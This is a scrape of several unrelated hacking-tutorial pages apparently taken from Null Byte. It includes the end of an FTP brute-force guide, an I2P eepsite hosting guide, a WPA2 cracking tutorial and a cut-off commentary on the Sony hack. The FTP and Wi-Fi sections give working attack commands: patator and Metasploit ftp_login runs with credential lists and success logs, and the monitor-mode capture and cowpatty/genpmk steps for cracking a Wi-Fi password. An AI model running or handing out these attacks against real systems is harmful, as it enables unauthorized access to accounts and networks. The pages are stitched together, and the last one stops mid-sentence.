--resume=r1[,rN]* resume previous run -e arg encode everything between two tags, see Syntax below -C str delimiter string in combo files (default is ':') -X str delimiter string in conditions (default is ',') --allow-ignore-failures failures cannot be ignored with -x (this is by design to avoid false negatives) this option overrides this behavior Optimization: --rate-limit=N wait N seconds between each test (default is 0) --timeout=N wait N seconds for a response before retrying payload (default is 0) --max-retries=N skip payload after N retries (default is 4) (-1 for unlimited) -t N, --threads=N number of threads (default is 10) Logging: -l DIR save output and response data into DIR -L SFX automatically save into DIR/yyyy-mm-dd/hh:mm:ss_SFX (DIR defaults to '/tmp/patator') Debugging: -d, --debug enable debug messages Syntax: -x actions:conditions actions := action[,action]* action := "ignore" | "retry" | "free" | "quit" | "reset" conditions := condition=value[,condition=value]* condition := "code" | "size" | "time" | "mesg" | "fgrep" | "egrep" ignore : do not report retry : try payload again free : dismiss future similar payloads quit : terminate execution now reset : close current connection in order to reconnect next time code : match status code size : match size (N or N-M or N- or -N) time : match time (N or N-M or N- or -N) mesg : match message fgrep : search for string in mesg egrep : search for regex in mesg For example, to ignore all redirects to the home page: ... -x ignore:code=302,fgrep='Location: /home.html' -e tag:encoding tag := any unique string (eg. T@G or _@@_ or ...) encoding := "hex" | "unhex" | "b64" | "md5" | "sha1" | "url" hex : encode in hexadecimal unhex : decode from hexadecimal b64 : encode in base64 md5 : hash in md5 sha1 : hash in sha1 url : url encode For example, to encode every password in base64: ... host=10.0.0.1 user=admin password=_@@_FILE0_@@_ -e _@@_:b64 Please read the README inside for more examples and usage information.That gives us module options, global options, and some syntax examples. Patator is a little more complicated than the previous tools we've covered, but it offers a ton of flexibility in return.Recommended on Amazon:"Kali Linux - An Ethical Hacker's Cookbook" 1st EditionThe biggest thing to keep in mind is that we need toset variablesfor the username and password files. We can accomplish that by settingusertoFILE0andpasswordtoFILE1. Next, we simply set the files to the appropriate number. Don't forget to set the host, then we're ready to go:~# patator ftp_login host=10.10.0.50 user=FILE0 password=FILE1 0=usernames.txt 1=passwords.txt 11:50:07 patator INFO - Starting Patator v0.7 (https://github.com/lanjelot/patator) at 2020-03-10 11:50 CDT 11:50:08 patator INFO - 11:50:08 patator INFO - code size time | candidate | num | mesg 11:50:08 patator INFO - ----------------------------------------------------------------------------- 11:50:11 patator INFO - 530 16 3.067 | admin:hunter2 | 10 | Login incorrect. 11:50:11 patator INFO - 230 17 0.015 | ftp:hunter2 | 20 | Login successful. 11:50:11 patator INFO - 530 16 3.418 | root:password | 1 | Login incorrect. 11:50:11 patator INFO - 530 16 3.483 | root:s3cr3t | 2 | Login incorrect. 11:50:11 patator INFO - 530 16 3.403 | root:user | 3 | Login incorrect. 11:50:11 patator INFO - 530 16 3.485 | root:Password1 | 4 | Login incorrect. 11:50:11 patator INFO - 530 16 3.444 | root:hunter2 | 5 | Login incorrect. 11:50:11 patator INFO - 530 16 3.315 | admin:password | 6 | Login incorrect. 11:50:11 patator INFO - 530 16 3.451 | admin:s3cr3t | 7 | Login incorrect. 11:50:11 patator INFO - 530 16 3.449 | admin:user | 8 | Login incorrect. 11:50:11 patator INFO - 530 16 3.396 | admin:Password1 | 9 | Login incorrect. 11:50:11 patator INFO - 230 17 0.119 | ftp:s3cr3t | 17 | Login successful. 11:50:11 patator INFO - 230 17 0.085 | ftp:Password1 | 19 | Login successful. 11:50:12 patator INFO - 230 17 0.207 | user:user | 13 | Login successful. 11:50:12 patator INFO - 230 17 0.150 | ftp:password | 16 | Login successful. 11:50:12 patator INFO - 230 17 0.203 | ftp:user | 18 | Login successful. 11:50:14 patator INFO - 530 16 2.927 | user:password | 11 | Login incorrect. 11:50:14 patator INFO - 530 16 2.913 | user:s3cr3t | 12 | Login incorrect. 11:50:14 patator INFO - 530 16 2.952 | user:Password1 | 14 | Login incorrect. 11:50:14 patator INFO - 530 16 2.928 | user:hunter2 | 15 | Login incorrect. 11:50:14 patator INFO - 530 16 2.776 | steve:user | 23 | Login incorrect. 11:50:18 patator INFO - 530 16 3.461 | steve:password | 21 | Login incorrect. 11:50:18 patator INFO - 530 16 3.440 | steve:s3cr3t | 22 | Login incorrect. 11:50:18 patator INFO - 530 16 3.442 | steve:Password1 | 24 | Login incorrect. 11:50:18 patator INFO - 530 16 3.444 | steve:hunter2 | 25 | Login incorrect. 11:50:18 patator INFO - Hits/Done/Skip/Fail/Size: 25/25/0/0/25, Avg: 2 r/s, Time: 0h 0m 10sWe can see that we get a few successful hits.Patator has a useful option to ignore specific parameters, meaning we can choose to display only the successful logins. Use the-xflag to ignore invalid login messages:~# patator ftp_login host=10.10.0.50 user=FILE0 password=FILE1 0=usernames.txt 1=passwords.txt -x ignore:mesg='Login incorrect.' 11:52:27 patator INFO - Starting Patator v0.7 (https://github.com/lanjelot/patator) at 2020-03-10 11:52 CDT 11:52:27 patator INFO - 11:52:27 patator INFO - code size time | candidate | num | mesg 11:52:27 patator INFO - ----------------------------------------------------------------------------- 11:52:31 patator INFO - 230 17 0.088 | ftp:password | 16 | Login successful. 11:52:31 patator INFO - 230 17 0.089 | ftp:s3cr3t | 17 | Login successful. 11:52:31 patator INFO - 230 17 0.035 | ftp:hunter2 | 20 | Login successful. 11:52:31 patator INFO - 230 17 0.127 | user:user | 13 | Login successful. 11:52:31 patator INFO - 230 17 0.129 | ftp:user | 18 | Login successful. 11:52:31 patator INFO - 230 17 0.116 | ftp:Password1 | 19 | Login successful. 11:52:38 patator INFO - Hits/Done/Skip/Fail/Size: 6/25/0/0/25, Avg: 2 r/s, Time: 0h 0m 11sThat makes the output a little cleaner, so it's easier to see what's going on.Method 5: MetasploitThe last tool we'll use to brute-force FTP credentials isMetasploit. Launch it by typingmsfconsolein the terminal. From there, we can search for any modules related to FTP using thesearchcommand:msf5 > search ftp Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/admin/cisco/vpn_3000_ftp_bypass 2006-08-23 normal No Cisco VPN Concentrator 3000 FTP Unauthorized Administrative Access 1 auxiliary/admin/officescan/tmlisten_traversal normal Yes TrendMicro OfficeScanNT Listener Traversal Arbitrary File Access 2 auxiliary/admin/tftp/tftp_transfer_util normal No TFTP File Transfer Utility 3 auxiliary/dos/scada/d20_tftp_overflow 2012-01-19 normal No General Electric D20ME TFTP Server Buffer Overflow DoS 4 auxiliary/dos/windows/ftp/filezilla_admin_user 2005-11-07 normal No FileZilla FTP Server Admin Interface Denial of Service 5 auxiliary/dos/windows/ftp/filezilla_server_port 2006-12-11 normal No FileZilla FTP Server Malformed PORT Denial of Service 6 auxiliary/dos/windows/ftp/guildftp_cwdlist 2008-10-12 normal No Guild FTPd 0.999.8.11/0.999.14 Heap Corruption 7 auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof 2010-12-21 normal No Microsoft IIS FTP Server Encoded Response Overflow Trigger 8 auxiliary/dos/windows/ftp/iis_list_exhaustion 2009-09-03 normal No Microsoft IIS FTP Server LIST Stack Exhaustion 9 auxiliary/dos/windows/ftp/solarftp_user 2011-02-22 normal No Solar FTP Server Malformed USER Denial of Service 10 auxiliary/dos/windows/ftp/titan626_site 2008-10-14 normal No Titan FTP Server 6.26.630 SITE WHO DoS 11 auxiliary/dos/windows/ftp/vicftps50_list 2008-10-24 normal No Victory FTP Server 5.0 LIST DoS 12 auxiliary/dos/windows/ftp/winftp230_nlst 2008-09-26 normal No WinFTP 2.3.0 NLST Denial of Service 13 auxiliary/dos/windows/ftp/xmeasy560_nlst 2008-10-13 normal No XM Easy Personal FTP Server 5.6.0 NLST DoS 14 auxiliary/dos/windows/ftp/xmeasy570_nlst 2009-03-27 normal No XM Easy Personal FTP Server 5.7.0 NLST DoS 15 auxiliary/dos/windows/tftp/pt360_write 2008-10-29 normal No PacketTrap TFTP Server 2.2.5459.0 DoS 16 auxiliary/dos/windows/tftp/solarwinds 2010-05-21 normal No SolarWinds TFTP Server 10.4.0.10 Denial of Service 17 auxiliary/fuzzers/ftp/client_ftp normal No Simple FTP Client Fuzzer 18 auxiliary/fuzzers/ftp/ftp_pre_post normal Yes Simple FTP Fuzzer 19 auxiliary/gather/apple_safari_ftp_url_cookie_theft 2015-04-08 normal No Apple OSX/iOS/Windows Safari Non-HTTPOnly Cookie Theft 20 auxiliary/gather/d20pass 2012-01-19 normal No General Electric D20 Password Recovery 21 auxiliary/gather/konica_minolta_pwd_extract normal Yes Konica Minolta Password Extractor 22 auxiliary/scanner/ftp/anonymous normal Yes Anonymous FTP Access Detection 23 auxiliary/scanner/ftp/bison_ftp_traversal 2015-09-28 normal Yes BisonWare BisonFTP Server 3.5 Directory Traversal Information Disclosure 24 auxiliary/scanner/ftp/colorado_ftp_traversal 2016-08-11 normal Yes ColoradoFTP Server 1.3 Build 8 Directory Traversal Information Disclosure 25 auxiliary/scanner/ftp/easy_file_sharing_ftp 2017-03-07 normal Yes Easy File Sharing FTP Server 3.6 Directory Traversal 26 auxiliary/scanner/ftp/ftp_login normal Yes FTP Authentication Scanner 27 auxiliary/scanner/ftp/ftp_version normal Yes FTP Version Scanner 28 auxiliary/scanner/ftp/konica_ftp_traversal 2015-09-22 normal Yes Konica Minolta FTP Utility 1.00 Directory Traversal Information Disclosure 29 auxiliary/scanner/ftp/pcman_ftp_traversal 2015-09-28 normal Yes PCMan FTP Server 2.0.7 Directory Traversal Information Disclosure 30 auxiliary/scanner/ftp/titanftp_xcrc_traversal 2010-06-15 normal Yes Titan FTP XCRC Directory Traversal Information DisclosureWe want theftp_loginmodule, so load it with theusecommand:msf5 > use auxiliary/scanner/ftp/ftp_loginTypeoptionsto take a look at the current settings:msf5 auxiliary(scanner/ftp/ftp_login) > options Module options (auxiliary/scanner/ftp/ftp_login): Name Current Setting Required Description ---- --------------- -------- ----------- BLANK_PASSWORDS false no Try blank passwords for all users BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5 DB_ALL_CREDS false no Try each user/password couple stored in the current database DB_ALL_PASS false no Add all passwords in the current database to the list DB_ALL_USERS false no Add all users in the current database to the list PASSWORD no A specific password to authenticate with PASS_FILE no File containing passwords, one per line Proxies no A proxy chain of format type:host:port[,type:host:port][...] RECORD_GUEST false no Record anonymous/guest logins to the database RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 21 yes The target port (TCP) STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host THREADS 1 yes The number of concurrent threads USERNAME no A specific username to authenticate as USERPASS_FILE no File containing users and passwords separated by space, one pair per line USER_AS_PASS false no Try the username as the password for all users USER_FILE no File containing usernames, one per line VERBOSE true yes Whether to print output for all attemptsFirst, we need to set the IP address of our target:msf5 auxiliary(scanner/ftp/ftp_login) > set rhosts 10.10.0.50 rhosts => 10.10.0.50Next, specify the file containing the list of usernames:msf5 auxiliary(scanner/ftp/ftp_login) > set user_file usernames.txt user_file => usernames.txtAnd do the same for the passwords:msf5 auxiliary(scanner/ftp/ftp_login) > set pass_file passwords.txt pass_file => passwords.txtThat should be all we need, so typerunto start the scan:msf5 auxiliary(scanner/ftp/ftp_login) > run [*] 10.10.0.50:21 - 10.10.0.50:21 - Starting FTP login sweep [!] 10.10.0.50:21 - No active DB -- Credential data will not be saved! [-] 10.10.0.50:21 - 10.10.0.50:21 - LOGIN FAILED: root:password (Incorrect: ) [-] 10.10.0.50:21 - 10.10.0.50:21 - LOGIN FAILED: root:s3cr3t (Incorrect: ) [-] 10.10.0.50:21 - 10.10.0.50:21 - LOGIN FAILED: root:user (Incorrect: ) [-] 10.10.0.50:21 - 10.10.0.50:21 - LOGIN FAILED: root:Password1 (Incorrect: ) [-] 10.10.0.50:21 - 10.10.0.50:21 - LOGIN FAILED: root:hunter2 (Incorrect: ) [-] 10.10.0.50:21 - 10.10.0.50:21 - LOGIN FAILED: admin:password (Incorrect: ) [-] 10.10.0.50:21 - 10.10.0.50:21 - LOGIN FAILED: admin:s3cr3t (Incorrect: ) [-] 10.10.0.50:21 - 10.10.0.50:21 - LOGIN FAILED: admin:user (Incorrect: ) [-] 10.10.0.50:21 - 10.10.0.50:21 - LOGIN FAILED: admin:Password1 (Incorrect: ) [-] 10.10.0.50:21 - 10.10.0.50:21 - LOGIN FAILED: admin:hunter2 (Incorrect: ) [-] 10.10.0.50:21 - 10.10.0.50:21 - LOGIN FAILED: user:password (Incorrect: ) [-] 10.10.0.50:21 - 10.10.0.50:21 - LOGIN FAILED: user:s3cr3t (Incorrect: ) [+] 10.10.0.50:21 - 10.10.0.50:21 - Login Successful: user:user [+] 10.10.0.50:21 - 10.10.0.50:21 - Login Successful: ftp:password [-] 10.10.0.50:21 - 10.10.0.50:21 - LOGIN FAILED: steve:password (Incorrect: ) [-] 10.10.0.50:21 - 10.10.0.50:21 - LOGIN FAILED: steve:s3cr3t (Incorrect: ) [-] 10.10.0.50:21 - 10.10.0.50:21 - LOGIN FAILED: steve:user (Incorrect: ) [-] 10.10.0.50:21 - 10.10.0.50:21 - LOGIN FAILED: steve:Password1 (Incorrect: ) [-] 10.10.0.50:21 - 10.10.0.50:21 - LOGIN FAILED: steve:hunter2 (Incorrect: ) [*] 10.10.0.50:21 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completedWe can see all the available pairs it tries to brute-force, and we end up with a couple of successful logins.How to Prevent FTP Brute-Force AttacksIf you are running FTP, chances are you're going to see tons of brute-force attempts daily, most of which are probably automated. Regardless, there are a few steps you can take to mitigate the risk of a successful attack.Perhaps the easiest thing to do is not runFTPat all if it isn't needed. Doing so eliminates the problem. If it is essential, consider putting it on a non-standard port, which will remove most, if not all, automated brute-force attacks.Using a service likeFail2banalongside proper firewall rules will also drastically cut down the likelihood of compromise. And like anything else, usingstrong passwordsthat are difficult to crack will dissuade all but the most determined attackers.Wrapping UpToday, we explored FTP and how to brute-force credentials using a variety of tools. We covered Ncrack, Medusa, Hydra, Patator, and Metasploit, and we touched on some ways to prevent these types of attacks. FTP might seem like a boring target, but its prevalence makes it worth knowing how to attack.Don't Miss:Exploring Metasploit Auxiliary Modules (FTP Fuzzing)Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byVitaly Vlasov/Pexels; Screenshots by drd_/Null ByteRelatedHow To:Brute-Force SSH, FTP, VNC & More with BruteDumHow To:Use NMAP 7 to Discover Vulnerabilities, Launch DoS Attacks and More!How To:Automate Brute-Force Attacks for Nmap ScansHow To:Build an FTP Password Sniffer with Scapy and PythonHacking Windows 10:How to Dump NTLM Hashes & Crack Windows PasswordsHow To:Break into Router Gateways with PatatorHacking Windows 10:How to Hack uTorrent Clients & Backdoor the Operating SystemHack Like a Pro:How to Conduct a Simple Man-in-the-Middle AttackHow To:Perform Network-Based Attacks with an SBC ImplantHacking Windows 10:How to Intercept & Decrypt Windows Passwords on a Local NetworkHow To:SSH and FTP into a serverHow To:Using Hydra 5.4 to crack FTP passwordsHow To:Extract Windows Usernames, Passwords, Wi-Fi Keys & Other User Credentials with LaZagneHow To:FTP from a local computer to a websiteHIOB:The Ruby Programming Language, Part 1: (Building an FTP Cracker)How To:Create a Metasploit Exploit in Few MinutesHow To:Discover & Attack Services on Web Apps or Networks with SpartaHack Like a Pro:Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords)How To:Fake Captive Portal with an Android PhoneHow To:Create Custom Wordlists for Password Cracking Using the MentalistHow To:Run an FTP Server from Home with LinuxHow To:Push and Pull Remote Files Securely Over SSH with PipesGHOST PHISHER:Security Auditing Tool
How to Use I2P to Host and Share Your Secret Goods on the Dark Web—Anonymously « Null Byte :: WonderHowTo
Some of you might be using Tor to host hidden services, and some of you might not even know what hidden services are. If the latter's you, do not miss this article. Why? Because you can host your websites and services on the I2P darknet. It's safe and secure—it's anonymous.If you're not quite sure what I2P is exactly, check outtheir siteand mydarknet seriesfor a little more background information.Get Started!For those of you familiar with the Tor network's hidden services, setting up an I2Peepsitewill be easy. In a nutshell, you need to pick a name, then edit all the configuration files required for your site. Finally, you simply turn on and announce your site to the network. Everyone who wants to get their content up and running quickly can follow these simple steps.Step1Start I2PI2P should be running all of the time. I run my router 24/7. This is because you're participating in random tunnels for other users' network traffic. The more active routers on the network, the faster and more secure it is. All that being said, you can start the service with:$ i2prouter startStep2Check Your Address BookYour I2P router maintains alist of addressesit has located on the network. This list is by no means all of them, but before coming up with a name for your site, you should check this and see if it is already taken, or if there's something significantly similar.That long string of letters and numbers underDestinationis the eepsite key. Eepsites in I2P are addressed using a 'key', which is represented as a really long Base64 string. Thekeyis somewhat analogous to an IP address and is shown on your eepsite's I2PTunnelconfiguration page.Step3Add Your Eepsite ContentIf you are running Linux, you need to visit:~/.i2p/eepsite/docroot/Windows users can check out:%APPDATA%\I2P\eepsite\docroot\You should be looking at this (Linux):Looks a lot like a normal web server, doesn't it? This is therootdirectory for any files you need to host your site. Do you want SQL? Go ahead. Do you want to write a ton of it in PHP? No problem there.The key difference between hosting a site on I2Ps darknet and the normal Internet is no one knowswhereyour site is hosted from. Everything else works just as you would expect.Taking a look at theindex.htmlfile, we see it's partially set up and ready to go.Simple!Step4Servers, Tunnels, and Other Fun ThingsThis is where we will 'tell' I2P about our eepsite. Right now, it runs, but is only visible to us. Let's take a peak at theI2P Tunnel Managerfor our eepsite.Most of these options are self explanatory. You can add your site's name and description. You can leave the more advanced options at the bottom alone for now, unless you know what you are doing there.Step5More Address Books!Now we want to add our eepsite to an I2P address book hosted by a site such asstats.i2p. That is, you must enter your eepsite name and key into a web interface on one or more of these sites. Here isthe key entry form at stats.i2p. This lets other people find you in the wild.Again, your key is the entirelocal destinationkey on the eepsitei2ptunnel configuration page. Be sure you get the whole thing, ending withAAAA, and don't forget to clickadd a keyas well. Check to see if it reports that the key was added.Since many routers periodically get address book updates from these sites, within several hours, others will be able to find your website by simply typingyoursite.i2p into their browser.While we are speaking of address updates, this would be a good time to add some more address books to your ownsubscription list. Go to your subscriptions configuration page and add a couple of these for an automatically updated list of new hosts:http://tino.i2p/hosts.txthttp://stats.i2p/cgi-bin/newhosts.txthttp://i2host.i2p/cgi-bin/i2hostetagIn ClosingHosting a site on the I2P darknet allows you a level of anonymity not achieved with hosting on the normal 'clear' Internet. You can be flexible with your machine as well, being that there's no hosting to buy and names to pay for.Questions with the setup? Concerns about it? Leave us a comment below or visit ourforum!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseImage byWikipediaRelatedSPLOIT:How to Make a Proxy Server in PythonHow To:The Top 80+ Websites Available in the Tor NetworkHow To:Install ParrotSec Sealth and Anonsurf Modules on Kali 2.0How To:Surf the web anonymously using TOR and PrivoxyHow To:Browse the web anonymously using Privoxy and TorHow To:ALL-in-ONE HACKING GUIDEHow To:Hide your IP address to surf the web anonymouslyHow To:Access Deep WebUntraceable:How to Seed Torrents Anonymously Using I2PSnarkNews:Anonymity Networks. Don't use one, use all of them!News:Anonymity, Darknets and Staying Out of Federal Custody, Part Four: The Invisible InternetTor vs. I2P:The Great Onion DebateNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Three: Hidden ServicesHow To:MIT's Guide To Picking Locks via Zine LibraryNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Two: Onions and DaggersFirst Step:The Question.News:Viva Africa! "Wavin Flag" - World Cup 2010Weekend Homework:How to Become a Null Byte Contributor (3/2/2012)News:Carnal Apple, Woman Filled, Burning Moon By: Pablo NerudaEditor Picks:The Top 10 Secret Resources Hiding in the Tor NetworkHow To:Things to Do on WonderHowTo (02/29 - 03/06)News:Use Google+ Hangouts for TeachingNews:Anonymity, Darknets and Staying Out of Federal Custody, Part One: Deep WebHow To:Run a Free Web Server From Home on Windows or Linux with ApacheHow To:Networking Basics for the Aspiring HackerNews:The Dark KnightHow To:Securely & Anonymously Spend Money OnlineHow To:Things to Do on WonderHowTo (03/21 - 03/27)How To:Things to Do on WonderHowTo (02/08 - 02/14)How To:Sculpt In Clay - Gesture SecretsNews:Dark Souls - Mørke SjelerHow To:Get the 2020 iPhone SE's Exclusive Wallpapers on Any PhoneNews:Indie and Mainstream Online Games Shut Down by LulzSecNews:You will meet a tall dark stranger (2010)News:How-To-Use Facebook To Host your blog/website Images And Get Unlimited Bandwidth
How to Hack Wi-Fi: Cracking WPA2-PSK Passwords with Cowpatty « Null Byte :: WonderHowTo
Welcome, my hacker novitiates!As part ofmy series on hacking Wi-Fi, I want to demonstrate another excellent piece of hacking software for cracking WPA2-PSK passwords. In my last post, wecracked WPA2 using aircrack-ng. In this tutorial, we'll use a piece of software developed by wireless security researcher Joshua Wright calledcowpatty(often stylized as coWPAtty). This app simplifies and speeds up the dictionary/hybrid attack against WPA2 passwords, so let's get to it!Need a wireless network adapter?Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2017For this to work, we'll need to use a compatible wireless network adapter. Check out our 2017 list of Kali Linux and Backtrack compatible wireless network adapters in the link above, or you can grabour most popular adapter for beginners here.Step 1: Find CowpattyCowpatty is one of the hundreds of pieces of software that are included in theBackTracksuite of software. For some reason, it was not placed in the/pentest/wirelessdirectory, but instead was left in the/usr/local/bindirectory, so let's navigate there.cd /usr/local/binBecause cowpatty is in the/usr/local/bindirectory and this directory should be in your PATH, we should be able to run it from any directory in BackTrack.Step 2: Find the Cowpatty Help ScreenTo get a brief rundown of the cowpatty options, simply type:cowpattyBackTrack will provide you a brief help screen. Take a note that cowpatty requires all of the following.a word lista file where the password hash has been capturedthe SSID of the target APStep 3: Place the Wireless Adapter in Monitor ModeJust as incracking with aircrack-ng, we need to put the wireless adapter into monitor mode.airmon-ng start wlan0Step 4: Start a Capture FileNext, we need to start a capture file where the hashed password will be stored when we capture the 4-way handshake.airodump-ng --bssid 00:25:9C:97:4F:48 -c 9 -w cowpatty mon0This will start a dump on the selected AP (00:25:9C:97:4F:48), on the selected channel (-c 9) and save the the hash in a file namedcowcrack.Step 5: Capture the HandshakeNow when someone connects to the AP, we'll capture the hash and airdump-ng will show us it has been captured in the upper right-hand corner.Step 6: Run the CowpattyNow that we have the hash of the password, we can use it with cowpatty and our wordlist to crack the hash.cowpatty -f /pentest/passwords/wordlists/darkc0de.lst -r /root/cowcrack-01.cap -s Mandela2As you can see in the screenshot above, cowpatty is generating a hash of every word on our wordlist with the SSID as a seed and comparing it to the captured hash. When the hashes match, it dsplays the password of the AP.Step 7: Make Your Own HashAlthough running cowpatty can be rather simple, it can also be very slow. The password hash is hashed with SHA1 with a seed of the SSID. This means that the same password on different SSIDs will generate different hashes. This prevents us from simply using a rainbow table against all APs. Cowpatty must take the password list you provide and compute the hash with the SSID for each word. This is very CPU intensive and slow.Cowpatty now supports using a pre-computed hash file rather than a plain-text word file, making the cracking of the WPA2-PSK password 1000x faster! Pre-computed hash files are available from theChurch of WiFi, and these pre-computed hash files are generated using 172,000 dictionary file and the 1,000 most popular SSIDs. As useful as this is, if your SSID is not in that 1,000, the hash list really doesn't help us.In that case, we need to generate our own hashes for our target SSID. We can do this by using an application calledgenpmk. We can generate our hash file for the "darkcode" wordlist for the SSID "Mandela2" by typing:genpmk -f /pentest/passwords/wordlists/darkc0de.lst -d hashes -s Mandela2Step 8: Using Our HashOnce we have generated our hashes for the particular SSIDs, we can then crack the password with cowpatty by typing:cowpatty -d hashfile -r dumpfile -s ssidStay Tuned for More Wireless Hacking GuidesIf you're looking for a cheap, handy platform to get started using Cowpatty, check out our Kali Linux Raspberry Pi build usingthe $35 Raspberry Pi.Get started using Cowpatty with the Raspberry Pi.Image by SADMIN/Null ByteGet Started Hacking Today:Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxKeep coming back for more on Wi-Fi hacking and other hacking techniques! Haven't seen the other Wi-Fi hacking guides yet? Check them outhere. If you have questions on any of this, please ask them in the comments below. If it's something unrelated, try asking in theNull Byte forum.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow to Hack Wi-Fi:Selecting a Good Wi-Fi Hacking StrategyHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords Using Aircrack-NgHow to Hack Wi-Fi:Getting Started with Terms & TechnologiesHow To:Crack WPA & WPA2 Wi-Fi Passwords with PyritHow to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyHow to Hack Wi-Fi:Breaking a WPS PIN to Get the Password with BullyHow To:Spy on Traffic from a Smartphone with WiresharkHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsHow To:Crack Wi-Fi Passwords—For Beginners!Video:How to Crack Weak Wi-Fi Passwords in Seconds with Airgeddon on Parrot OSHow To:Hack Wi-Fi Networks with BettercapHow to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow To:The Beginner's Guide to Defending Against Wi-Fi HackingHow To:iOS 6 Broke Your Wi-Fi? Here's How to Fix Connection Problems on Your iPhone or iPadHow to Hack Wi-Fi:Choosing a Wireless Adapter for HackingHow To:Easily Store Your iPhone's Wi-Fi Passwords & Share Them with Anybody — Even Android UsersHow to Hack Wi-Fi:Cracking WEP Passwords with Aircrack-NgHow To:Automate Wi-Fi Hacking with Wifite2How To:Recover a Lost WiFi Password from Any DeviceHow To:Hack WiFi Passwords for Free Wireless Internet on Your PS3How to Hack Wi-Fi:Hunting Down & Cracking WEP NetworksHow To:Hack Wi-Fi & Networks More Easily with Lazy ScriptHow To:Hack WPA & WPA2 Wi-Fi Passwords with a Pixie-Dust Attack Using AirgeddonHow To:Easily See Passwords for Wi-Fi Networks You've Connected Your Android Device ToHow To:This Widget Lets You Open Wi-Fi Settings Faster, Share Passwords & More on Your iPhoneHack Like a Pro:How to Crack Passwords, Part 1 (Principles & Technologies)How To:Crack Wi-Fi Passwords with Your Android Phone and Get Free Internet!How To:The Easiest Way to Share Your Complicated WiFi Password with Friends & Family—No Typing RequiredHow To:Share Wi-Fi Adapters Across a Network with Airserv-Ng2014's Hottest How-Tos:Hacks, Mods, and...Veggies?How To:How Hackers Steal Your Internet & How to Defend Against It
The Sony Hack: Thoughts & Observations from a Real Hacker « Null Byte :: WonderHowTo
By now, nearly everyone with any type of media access is aware that Sony Pictures Entertainment was hacked on November 24th. Although there can be many interpretations and lessons drawn from this audacious act, there is one indisputable conclusion: it and its ripples across the globe underlines how important hacking has become in our all-digital 21st century.As I haveemphasizedso many times in this column, hacking isthediscipline of the future. From cybercrime to cyber intelligence to cyber warfare, hacking will shape the future of the world we live in.What Happened?Sony Pictures Entertainment, the U.S. arm of the Japanese media conglomerate, was hacked by an organization calling themselves the Guardians of Peace (GOP). The hackers went into the servers and extracted films that haven't been released yet, emails, personal information, and more. All told, they exfiltrated over 100 TB (100,000 GB) of data.Sony Pictures Entertainment in Culver City, California.Image by Scott Beale/FlickrInitially, the unreleased movies were posted to torrenting sites, but most were withdrawn quickly after legal threat. Probably more damaging was the release of the internal email between Sony executives and some of their producers and stars. The exfiltrated data also included personal information of employees including their medical, personal communication, and salary records. Now, these employees are suiting Sony for not adequately protecting their information.The amount of data exfiltrated from Sony raises interesting questions. To remove that much data in a very short amount of time would have required averyfast internet connection. Or, it could mean that the hack took place over a relatively long time, maybe days or even weeks. If the hackers had used the data infrastructure of North Korea, they might still be exfiltrating the data. Instead, it appears the hackers used a broadband connection from China.Why?Seth Rogen and James Franco had developed a film about a small time TV talk show host (played by Franco) who is approached by the leader of North Korea about interviewing him. When the CIA finds out that they will be traveling to North Korea to interview Kim Jong-un, they employ the talk show host and his producer (played by Rogen) to assassinate the "fearless" leader. It's not an implausible plot by any stretch of the imagination.From left, going clockwise: Seth Rogen, Kim Jong-Un, and Randall Park (who plays Jong-Un).Image viaNew York PostAs you might imagine, the humorless leaders of North Korea did not get the joke. They apparently set out to intimidate Sony from releasing the picture; when Sony refused, they hacked into Sony's servers and were leaking out the data through various peer-to-peer file sharing sites.RamificationsThe costs to Sony will likely be staggering. Remediation costs alone will be in the hundreds of millions, but more important is the loss of trust and good will. In the few days since the hack was revealed, the value of the Sony conglomerate has fallen by 287B JPY (that's about 2.42B USD). This is a not a trivial amount of money, even for a corporation the size of Sony.The movie was scheduled to be released on Christmas Day, but when the hackers threatened to create a 9/11-type attack on the theaters showing the movie, the major theater chains backed down and refused to show the movie, presumably to spare their patrons a terrorist attack. Then Sony pulled back the release of the movie.Many political and social pundits criticized Sony for acceding to the terrorists' demands, and even President Obama chimed in that he thought Sony had made a mistake in not releasing the movie. Many in the artistic and political arena are fearful that Sony's backing down to these hackers will have negative implications for freedom of speech and expression in the United States.Maybe even more important will be the impact of this hack on foreign relations between the U.S. and North Korea and North Korea and its neighbors. It's kind of staggering to think that a hack can change world events and dynamics, emphasizing once again the importance of our profession.What 